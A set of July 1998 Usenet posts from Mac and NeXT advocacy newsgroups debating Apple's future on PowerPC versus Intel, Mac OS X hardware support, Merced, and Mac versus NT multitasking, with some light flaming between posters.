With a PC you HAVE to pick and choose your peripherals based on your
target OS's and workload... not so with a PPC.
> Apple can remain a high-value computer builder and yet
> anybody would be able to run MacOS on their present
> Intel machines. I think that Apple would clean-up and
> the Mac's future would be secure.
No you just said they canned the Mac. The Mac currently either = 68K or
PPC... not Intel.... and Intel would certainly have a cow if Apple
started calling PC's Macs.
>
> >
> > > reinstate clones.
> >
> > Maybe later.
Shya! Instating clones was dumb in the first place. Many years ago
when IBM did this, it lost a big hold in the business. Apple should
have just lowered the prices like it eventually ended up doing, rather
than saying... make clones... people invest and build factories, and
then ok... no more clones... how do you like them apples?
PArdon I couldn't resist that one.
>
> Not unless Apple is bought and Steve is long gone. Nobody
Hmm but what would IBM do with Apple.. they could care less. They
already make G3's, and G5's (not the same as what the Mac version will
end up being). They have solutions for corporations, and solutions for
customers = Aptiva. And in between with some nice RS/6000's. Probably
just dump the code into AIX, and make off like a bandit... a big slow
moving one.
Buying is not likely... besides Bill depends on Apple being present
software-wise and Grove depends on the hardware part. And Bill makes a
lot of money off of Apple.
Andrew
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 02:55:39 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B1986B.DD212245@cloud9.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <MPG.101aea726a01d7449899b9@news.supernews.com>
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Donald Brown wrote:
> OS-X might be able to run some Windows apps. But it won't run MS-Office.
> Microsoft will see to that. And if they can't run MS-Office, it will be
> an even bigger flop than the other Intel OSes that have tried to take on
> the Microsoft monopoly.
I'm sure you're talking about OS-X Intel (hypothetically speaking).
There is no reason to believe that Office XX will not be out on OS X,
since Bill made the commitment to OS 8.1 with Office 98, and OS X does
8.1, as well as will most likely do it's own native Office XX.
>
> Also, you're asking Apple to somehow completely reinvent itself as a
> software company, and I don't think they can. They'd somehow have to
> divest themselves of their hardware (because they couldn't keep both
> going at the same time) and I don't see how they could survive the
> transition.
>
> Won't work. Not a chance.
>
> Donald
Well said...
Andrew
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 02:53:02 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B197CE.127040FE@cloud9.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
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George Graves wrote:
>
> They will fall behind anyway because by using the incompatible
> PPC chip, Apple is on the outside of the mainstream computer
> biz looking in. Heck, even SGI has seen the light and will be
> building X86 boxes. The difference is that SGI has never had a
> dynamite OS, so they are going to be running NT on their Intel
> Boxes. Apple does have a VIABLE alternative OS to Windoze, and
> if they can write OS-X to run on Intel and to run Windows apps
> natively and full-featured, they will be real WINNERS (and so
> will everybody else).
EWWW again what a nasty lump of garbage! Are you an Intel Troll?
Mr. Graves ... SGI is expanding business by offering Intel
Workstations. However other than 4dwm which is only ugly in my opinion,
IRIX 6.3 kills NT hands down especially since NT is not and will not be
64 bit until 6.0... not even 5.0. SGI is still fully committed to both
IRIX and MIPS. You'd be extremely stupid to think that a supercomputing
power would put dumb as dirt processors in it's mid to high end
workstations. For SGI it's still MIPS and Alpha (Cray). PPC is not
non-standard... and Apple is the only company offering this outstanding
technology to the masses... you don't see RS/6000's for the masses do
you? How about Sparcs or MIPS... sure Sun and SGI tried to touch the
mid-range of business's with O2 and Ultra 2i, but come on.. it's still a
$10K machine for a nice Ultra 2i despite starting at $4K and 6 for the
O2. And of course if you want a cheap MIPS, buy a Cobalt Micro server
running Linux for $999, and if you want extremely cheap, rip one out of
an N64 and try to find a motherboard and hack the R3000 to pieces (not
literally, but you do have to know a lot about electronics to do this)
or pull out of a Cyclades Serial port hub.
<whatever to the rest of this>
Andrew
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 02:59:29 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B19951.CFB0631F@cloud9.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com>
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Ted Brown wrote:
>
> to 98. If, during the Merced transition, Apple pops up with a credible
> 'Red Box' to run Win32s programs then OS XI becomes a viable
> alternative. If the plan is good enough, Intel will make the
> motherboards for Apple as well as supply chipsets to other vendors. I
> don't think Intel is all that enamored with MS, and wouldn't mind someone
> actually supporting and using their new technology.
>
> In the meantime either Carbon gets to be cross platform, or Apple needs a
> way to make Yellow more dominate, so it's easier to move users over to
> Merced, while still suporting the PPC customers.
Gee OS Xxx on Merced. It's likely to happen, but Merced is not a
consumer machine, and from the beginning has not been targeted as such.
I don't see any transition of PPC customers to Merced. I see only PPC
--> better PPC. I do however see Intel ---> PPC/anything else...
however slight that may be... especially towards Alpha.
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 03:04:21 -0400
Organization: Pear Computer Ltd.
Message-ID: <35B19A75.D6CCEC01@cloud9.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <bryan-ya02408000R1807980834550001@news.kcnet.com> <gmgraves-1807981209240001@sf-usr1-32-160.dialup.slip.net>
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George Graves wrote:
>
> In article <bryan-ya02408000R1807980834550001@news.kcnet.com>,
> bryan@kcnet.com (Bryan Schmiedeler) wrote:
>
> > I
> > >As I see it, Apple's (and the Mac's) best chance lies along the
> > >following lines:
> > >
> > >1) Write a version of OSX which will not only run on Intel, but
> > >will run native Windows apps as if they were Mac apps.
> >
> > You made an excellent point above that I agreed with: Apple
> > will have trouble keeping up with R&D in the Windows world, as they
> > have a smaller base (hence the move toward PC hardware
> > standardization). But then you suggest this! How much R&D
> > (in time and money) do you think *that* would take?
>
> They did it once, with a VERY small group. The Project was called
> "Star Trek" and about a dozen programmers had it running in about
> three months. I'd say, that it could be done with about the same
> amount of effort as is now going into OS-X for PPC.
>
> George Graves
Yes and this was totally different. This was taking a non
cross-platform OS with byteorder dependencies and porting it to an
entirely different breed of CPU. Right now the current guts of the code
for OS X is actually the cross-platform OpenSTEP Mach, which for a
number of years since the 68K NeXT's demise has been on Intel for
probably 90 + % of its marketshare. Indeed Rhapsody/Mac OS X Server
will be available for Intel. No need to port, can we say the speed of a
Linux kernel compile? I think it's amazing that they did OS 6/7 to PC
in 3 months.
But of course you think they should back out of PPC... sort of like
saying Hey Exxon... back out of gas... your gas stinks... costs more and
is not compatible. Why don't you just service cars?
HEHEHEHE
You're funny poosy cat.
Andrew
Date: Sun, 19 Jul 1998 07:15:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1907980715010001@elk55.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net>
In article <35B19951.CFB0631F@cloud9.net>, Andrew Weiss
<ajwdsp@cloud9.net> wrote:
> Ted Brown wrote:
> >
> > to 98. If, during the Merced transition, Apple pops up with a credible
> > 'Red Box' to run Win32s programs then OS XI becomes a viable
> > alternative. If the plan is good enough, Intel will make the
> > motherboards for Apple as well as supply chipsets to other vendors. I
> > don't think Intel is all that enamored with MS, and wouldn't mind someone
> > actually supporting and using their new technology.
> >
> > In the meantime either Carbon gets to be cross platform, or Apple needs a
> > way to make Yellow more dominate, so it's easier to move users over to
> > Merced, while still suporting the PPC customers.
>
> Gee OS Xxx on Merced. It's likely to happen, but Merced is not a
> consumer machine, and from the beginning has not been targeted as such.
> I don't see any transition of PPC customers to Merced. I see only PPC
> --> better PPC. I do however see Intel ---> PPC/anything else...
> however slight that may be... especially towards Alpha.
Everything you've said is OK, except I disagree with "Merced is not a
consumer machine". While you're correct that its first implementation will
not be in consumer machines, it will be there eventually.
When the 286 came out, lots of people were saying it was too much power
for desktop machines and that it would only be used in servers.
Ditto 386.
Ditto 486.
Ditto Pentium.
The only question is, "how long after its introduction will Merced make
its way into consumer machines". The answer, I suspect, will depend on
AMD's success with the K7 and how quickly Intel needs to have a consumer
machine to keep K7 from taking sales away.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 19 Jul 1998 07:43:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Message-ID: <joe.ragosta-1907980743280001@elk55.dol.net>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net> <MPG.101aed208700dc2b9899bb@news.supernews.com> <joe.ragosta-1807982031210001@elk61.dol.net> <macghod-1807981759190001@sdn-ar-001casbarp256.dialsprint.net> <MPG.101b2cc0423023b29899be@news.supernews.com> <slrn6r3128.2b4.jason@jhste1.dyn.ml.org>
In article <slrn6r3128.2b4.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Donald Brown posted the following to comp.sys.mac.advocacy:
>
> >I do think Edwin is also too offensive too often (and I've told him so).
>
> >But, Joe and Edwin take about the same amount of abuse. Which makes me
> >believe that it's less about how them comport themselves, and more about
> >being Mac supporters.
>
> I don't think that you can compare the two. Joe draws abuse from the
> DOSheads because he has been such a strong Mac supporter for all these
> years in csma. Edwin draws abuse from all sides - and he's only been
> here since March, IIRC.
>
> Edwin takes crap because he dishes it out. Joe takes crap because he
> has been a visible poster here for so long that he is seen as a pro-Mac
> institution.
Hmmm. "a pro-Mac institution". I like that.
Thanks.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 19 Jul 1998 07:52:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Message-ID: <joe.ragosta-1907980752170001@elk55.dol.net>
References: <6or1kb$i6p@newsb.netnews.att.com> <edremy-ya02408000R1807982047240001@nnrp.usc.edu>
In article <edremy-ya02408000R1807982047240001@nnrp.usc.edu>,
edremy@chem1.usc.edu (Eric Remy) wrote:
> In article <6or1kb$i6p@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> >However, to choose among multiple windows in an application, I don't
> >think there is system-wide standard; it is application-specific.
> >Under the applications I use, there is always a menu item that lets you
> >choose between open windows. But this does not appear in one standard
> >place in the menus. So, this is a deficiency in the current Mac GUI.
>
> ApplWindows. Why Apple didn't bundle this into the OS years ago baffles
> me- it gives you both a popup menu of applications anywhere on the screen,
> plus a submenu listing all the open windows in the app. Essential in my
> opinion, since I often have a dozen telnet windows open at a time.
Actually, my favorite feature of ApplWindows is the setting to
automatically hide all apps except the one you're working on.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Message-ID: <1998071912165000.IAA22879@ladder01.news.aol.com>
Date: 19 Jul 1998 12:16:50 GMT
Organization: AOL http://www.aol.com
References: <edremy-ya02408000R1807982049360001@nnrp.usc.edu>
Eric Remy said:
>I can do it in one with the Mac Finder _and ApplWindows_.
>Select app from pop-up menu, select window from submenu. Done.
emphasis mine.
However, this discussion has ignored the fact that on the NeXT, one may arrange
the icons/windows to one's best advantage, to minimize mouse travel, which I
believe is of more concern than discrete number of clicks, especially on a
large monitor, or a multiple monitor setup.
As has been stated here before, the NeXT UI really shines on 17" monitors and
up, while the Mac OS, fails to scale very well past 12-14".
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <casper-1907980912090001@wheat-d-21.monroeville.nb.net>
References: <6or4sj$83a$1@supernews.com>
Organization: Computer Geeks R Us
Date: Sun, 19 Jul 1998 15:08:19 GMT
NNTP-Posting-Date: Sun, 19 Jul 1998 08:08:19 PDT
In article <6or4sj$83a$1@supernews.com>, a l t en ber@nashville.com
(delete spaces, spam trick) wrote:
>I went down to the local Kinkos to scan some photos and upload them to my Web
>server (a PC running NEXTSTEP 5000 miles away, which, by the way, has been
>running faithfully for a year without anyone there to maintain it), and I
>discovered that they used Macs for their scanning workstation.
>
>Kinkos set up the Mac so that you use Adobe Photoshop to launch the HP
>DeskScan software. They didn't realize you could launch the HP software
>directly, which is much simpler. They also didn't know how I could get the
>multi-megabyte files off of their machine except to go out and buy a Zip
>disk.
>
>Fortunately, I figured out that I could use the FTP function of the Netscape
>browser to upload it to my server. It took a couple of minutes over their
>ISDN line to upload each picture. To save time and money ($24/hr), while the
>first file was uploading, I went to scan the second image. And guess
>what---can't do that! I couldn't switch back to HP's software until the
>upload was complete. I haven't had to deal with the lack of mutlitasking
>since abandoning the Mac platform for NeXT 9 years ago. What amazes me is
>that Apple managed stay in business with such an OS.
If you had been using Fetch as your ftp client instead of the one built
into Netscape you would have been able to switch over to HP's software.
It's an application issue and an OS issue combined. If the software is
written to cooperate with the rest of the system properly the Mac is very
good at multitasking.
>I was doing a similar task in the University computer center, which has 7
>Sparc's and a zillion 166 MHz Gateway2000's running NT. While downloading a
>file using FTP, I tried to move the FTP dialog panel out of the way so that I
>could get on to other business, and it wouldn't budge for about 15 seconds.
>That's multitasking? That is far worse that I've experienced using a
>NeXTstation at 1/7 the speed. And this is the OS that is taking over the
>world?
>
>So the long and short of it is, I am amazed at the clunky systems people have
>been gobbling up all these years. When Mac OS X (server, etc) hits the
>streets, I think people are going to like it.
>--
>======================================================================
>Lee Altenberg, Ph.D.
>
>Research Affiliate, Hawai`i Institute of Geophysics and Planetology
> University of Hawai`i at Manoa
>Office: Maui High Performance Computing Center
> 550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
>Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
>E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
>======================================================================
--
Tim Scoff
casper@nb.net
http://www.nb.net/~casper/
They're taking our guns, our cigarettes, and our Sport Utility Vehicles. Is your computer next?, your phone line?, your radio? What will it take to make you stand up and scream ENOUGH"?
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 08:27:59 -0500
Organization: Prairie Group
Message-ID: <MPG.101bb05d20abad6a9899bf@news.supernews.com>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <MPG.101aea726a01d7449899b9@news.supernews.com> <35B1986B.DD212245@cloud9.net>
In article <35B1986B.DD212245@cloud9.net>, ajwdsp@cloud9.net says...
> Donald Brown wrote:
>
> > OS-X might be able to run some Windows apps. But it won't run MS-Office.
> > Microsoft will see to that. And if they can't run MS-Office, it will be
> > an even bigger flop than the other Intel OSes that have tried to take on
> > the Microsoft monopoly.
>
> I'm sure you're talking about OS-X Intel (hypothetically speaking).
> There is no reason to believe that Office XX will not be out on OS X,
> since Bill made the commitment to OS 8.1 with Office 98, and OS X does
> 8.1, as well as will most likely do it's own native Office XX.
People will have to do, at least, new binaries for OS-X Intel. If OS-X
starts to become a direct competitor, there will not be an MS-Office for
OS-X for Wintel. And, George was saying that OS-X Intel must be able to
run Windows programs. Even if it can, Microsoft will make sure that MS
Office for Windows will not.
Donald
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 19 Jul 1998 13:29:29 GMT
Organization: P & L Systems
Message-ID: <6ossbp$n4h$3@ironhorse.plsys.co.uk>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk>
<not-1607981039320001@2-20.phx.psn.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: not@a.valid.email.add
In <not-1607981039320001@2-20.phx.psn.net> Michael M. Eilers wrote:
> In article <6okmrf$10j$3@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> I'm sure that is true, but it still marks him as a biased source of
> information on the subject at hand.
>
Whereas Mr. Norr, for example, is a paragon of objectivity and omniscience?
> What guarantee is there that he would
> tell us that Yellow Box is dead if he heard *that* from his sources?
>
Because if he didn't, I or others with similar connections would.
Other than that I'd concur with Matt Kennel's reply.
mmalc.
From: a l t e n ber@nashville.com (L e e Al te nb erg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 19 Jul 1998 14:50:36 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6ot13s$m32$1@supernews.com>
References: <6or4sj$83a$1@supernews.com> <6ormvh$56j$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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Cc: quinlan@intergate.bc.ca
In <6ormvh$56j$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> In article <6or4sj$83a$1@supernews.com>,
> a l t en ber@nashville.com (delete spaces, spam trick) wrote:
>
> > I was doing a similar task in the University computer center, which has 7
> > Sparc's and a zillion 166 MHz Gateway2000's running NT. While
downloading a
> > file using FTP, I tried to move the FTP dialog panel out of the way so
that I
> > could get on to other business, and it wouldn't budge for about 15
seconds.
> > That's multitasking? That is far worse that I've experienced using a
> > NeXTstation at 1/7 the speed. And this is the OS that is taking over the
> > world?
>
> The problem with NT is that each application is responsible for behaviour
that
> is found in the OS window manager. That means that you can't move, resize,
> activate, etc. a window unless the application lets you. That might take a
> while if the program is busy and doesn't use preemptive threads to handle
the
> work. OTOH, you can still use other applications without any problems.
>
The problem is, even though I can switch to another application, the FTP's
dialog box is still sticking in front of it. But if you just wait long
enough, it finally responds. Patience is the Windows user's best friend.
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 08:20:44 -0500
Organization: Prairie Group
Message-ID: <MPG.101d0026256527109899cd@news.supernews.com>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se>
In article <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se>,
Jonas.Palm@orgk1.lu.se says...
> There is no good technical reason not to support MacOS X on Tsunami macs
> and you know it. It is a marketing decision. An attempt to bring people
> to buy new Apple hardware quicker in order to get off an obsolete OS.
> It will be successful short term, and bad in the long term. One
> part of the user-base will take the bait and migrate quicker than they
> would have done otherwise. But another part will not, and will be
> justifiably angry that Apple did this to them. Short term the sales of
> new systems will look good, but long term the user-base will shrink,
> which is death.
>
There most certainly are good technical reasons to not support MacOS X on
Tsunami macs and particularly good reasons not to certify it. As someone
who has run a software business, you know that that (a) resources are
limited, and (b) testing takes resources.
And if they DO support Tsunami macs...the demands won't stop there.
I'm not thrilled by the decision to only support the G3. I really wish
things were otherwise. But, this isn't the Apple that tackled Copeland,
they aren't able to do everything they'd like to do.
Donald
From: a l t e n ber@nashville.com (L e e Al te nb erg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 19 Jul 1998 15:00:33 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6ot1mh$m32$2@supernews.com>
References: <6or4sj$83a$1@supernews.com> <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net>
Mime-Version: 1.0
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Cc: forrestDELETE-THIS!@west.net
In <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net> Forrest
Cameranesi wrote:
> In article <6or4sj$83a$1@supernews.com>, a l t en ber@nashville.com
> (delete spaces, spam trick) wrote:
>
> [SNIP]
>
> > Fortunately, I figured out that I could use the FTP function of the
Netscape
> > browser to upload it to my server. It took a couple of minutes over
their
> > ISDN line to upload each picture. To save time and money ($24/hr), while
the
> > first file was uploading, I went to scan the second image. And guess
> > what---can't do that! I couldn't switch back to HP's software until the
> > upload was complete. I haven't had to deal with the lack of mutlitasking
> > since abandoning the Mac platform for NeXT 9 years ago. What amazes me
is
> > that Apple managed stay in business with such an OS.
>
> [SNIP]
>
> Oy vey, I'm getting sick of this. The Mac OS can multitask, it's just
> cooperative multitasking instead of preemptive. It's up to the apps to get
> along and say "ok, you can do something now".
So, it's not the MacOS that fails to multitask, it's the APPS that fail to
multitask, right?
That reminds me of the slogan "Guns don't kill people, people kill people."
Guns aren't a problem as long as people can get along. Multitasking on MacOS
is NOT a problem as long as the apps are perfect. I'll buy that.
> A good FTP client like Fetch
> won't put up a modal dialog when uploading (if you don't understand the
> terminalogy, a 'modal dialog' is a dialog window that doesn't let you do
> anything else. It's usefull for important warning and error dialogs, but
> some developers are so moronic and use them for things like uploads, etc).
> But Netscape's FTP is notoriously horrible in every respect.
>
Fortunately, Fetch is a part of the MacOS, right, just like Stuffit? So when
I go to any Mac system --- at any Kinkos or elsewhere --- Fetch will be right
there ready for me to use, right?
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcgyfn.1ioh0ux1hh6v1vN@dialup112-3-26.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6ovb8r$loi$1@news.cs.tu-berlin.de>
Organization: pv
Date: Mon, 20 Jul 1998 13:42:05 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 15:42:05 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> Communicating objects with identity and behavior. These are the only
> externally visible 'properties'. (See RM-ODP). Objects also have
> state, but this is invisible.
>
> Class enteres the picture at two places: (1) objects can be classified
> by behavior, yielding the notion of 'type' and (2) classes + inheritance
> have proven a useful mechanism for grouping implementations.
I don't get it. How does this differ from my description? This does not
explain why class is not important. You said: "The problem here is your
emphasis on the class".
- Lars
PS what is RM-ODP?
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 18 Jul 1998 16:48:24 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6oqjko$qqs$1@camel19.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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In article <6ookbn$adr$1@nnrp1.dejanews.com> , quinlan@intergate.bc.ca
writes:
>1) Apple said that my 6100 would run their "next generation operating system"
That OS was canned, it was called Copland, was due in 1996, and it didn't
work out.
